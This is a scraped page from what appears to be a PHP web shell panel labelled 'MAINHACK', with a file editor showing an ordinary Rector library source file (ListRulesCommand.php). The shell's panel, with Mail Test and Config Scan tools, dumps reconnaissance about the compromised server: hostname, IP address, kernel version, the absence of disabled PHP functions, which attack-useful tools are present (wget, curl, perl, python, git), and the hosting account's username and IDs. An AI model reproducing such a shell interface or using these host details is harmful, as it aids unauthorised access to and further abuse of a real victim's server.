[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ListRulesCommand.php
File is not writable. Editing disabled.
<?php declare (strict_types=1); namespace Rector\Console\Command; use RectorPrefix202411\Nette\Utils\Json; use Rector\ChangesReporting\Output\ConsoleOutputFormatter; use Rector\Configuration\Option; use Rector\Contract\Rector\RectorInterface; use Rector\PostRector\Contract\Rector\PostRectorInterface; use Rector\Skipper\SkipCriteriaResolver\SkippedClassResolver; use RectorPrefix202411\Symfony\Component\Console\Command\Command; use RectorPrefix202411\Symfony\Component\Console\Input\InputInterface; use RectorPrefix202411\Symfony\Component\Console\Input\InputOption; use RectorPrefix202411\Symfony\Component\Console\Output\OutputInterface; use RectorPrefix202411\Symfony\Component\Console\Style\SymfonyStyle; final class ListRulesCommand extends Command { /** * @readonly * @var \Symfony\Component\Console\Style\SymfonyStyle */ private $symfonyStyle; /** * @readonly * @var \Rector\Skipper\SkipCriteriaResolver\SkippedClassResolver */ private $skippedClassResolver; /** * @var RectorInterface[] * @readonly */ private $rectors; /** * @param RectorInterface[] $rectors */ public function __construct(SymfonyStyle $symfonyStyle, SkippedClassResolver $skippedClassResolver, array $rectors) { $this->symfonyStyle = $symfonyStyle; $this->skippedClassResolver = $skippedClassResolver; $this->rectors = $rectors; parent::__construct(); } protected function configure() : void { $this->setName('list-rules'); $this->setDescription('Show loaded Rectors'); $this->setAliases(['show-rules']); $this->addOption(Option::OUTPUT_FORMAT, null, InputOption::VALUE_REQUIRED, 'Select output format', ConsoleOutputFormatter::NAME); } protected function execute(InputInterface $input, OutputInterface $output) : int { $rectorClasses = $this->resolveRectorClasses(); $skippedClasses = $this->getSkippedCheckers(); $outputFormat = $input->getOption(Option::OUTPUT_FORMAT); if ($outputFormat === 'json') { $data = ['rectors' => $rectorClasses, 'skipped-rectors' => $skippedClasses]; echo Json::encode($data, \true) . \PHP_EOL; return Command::SUCCESS; } $this->symfonyStyle->title('Loaded Rector rules'); $this->symfonyStyle->listing($rectorClasses); if ($skippedClasses !== []) { $this->symfonyStyle->title('Skipped Rector rules'); $this->symfonyStyle->listing($skippedClasses); } $this->symfonyStyle->newLine(); $this->symfonyStyle->note(\sprintf('Loaded %d rules', \count($rectorClasses))); return Command::SUCCESS; } /** * @return array<class-string<RectorInterface>> */ private function resolveRectorClasses() : array { $customRectors = \array_filter($this->rectors, static function (RectorInterface $rector) : bool { return !$rector instanceof PostRectorInterface; }); $rectorClasses = \array_map(static function (RectorInterface $rector) : string { return \get_class($rector); }, $customRectors); \sort($rectorClasses); return \array_unique($rectorClasses); } /** * @return string[] */ private function getSkippedCheckers() : array { $skippedCheckers = []; foreach ($this->skippedClassResolver->resolve() as $checkerClass => $fileList) { // ignore specific skips if ($fileList !== null) { continue; } $skippedCheckers[] = $checkerClass; } return $skippedCheckers; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A